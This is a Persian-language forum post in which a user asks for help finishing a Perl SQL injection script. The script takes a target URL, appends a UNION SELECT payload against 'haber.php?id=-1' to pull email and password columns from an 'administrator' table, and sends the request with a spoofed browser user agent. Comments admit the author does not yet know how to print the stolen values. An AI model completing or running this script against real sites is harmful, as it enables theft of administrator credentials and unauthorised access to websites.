دریافت مقدار جدید با فرستادن request

[mr.0x-33]

سلام دوستان یه سوال در مورد دریافت یه مقدار از url داشتم.
چطور میشه مقدار جدید mail$ , $pass رو در این اسکریپت بدست آورد؟

میخوام یه اسکریپت sql injection با پرل بنویسم...




#!/usr/bin/perl -w
########################
# Simple SQL Injection #
########################
use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
use LWP::Simple;
################
print "\nInsert The Url :xp: [http://wwww.site.com/path/]: ";
chomp(my $target=<STDIN>);
#the email
$mail="email";
#the pasword
$pass="sifre";
################
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target ."haber.php?id=-1 union select 1,2,group_concat(".$mail.",".$pass."),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from administrator--";
$res = $b->request(HTTP::Request->new(GET=>$host));
################
# Az inja bebad nemidoonam chekar konam :D
# mikham vaghti in request ferestade mishe be target
# va "mail" + "pass" grab mishe bad to page printesh kone
# ???????????????????????????????????
# lotfan rahnamaei konid :X
#
#
#
#




ممنون از همگی .....
یکی کمک کنه :ایکس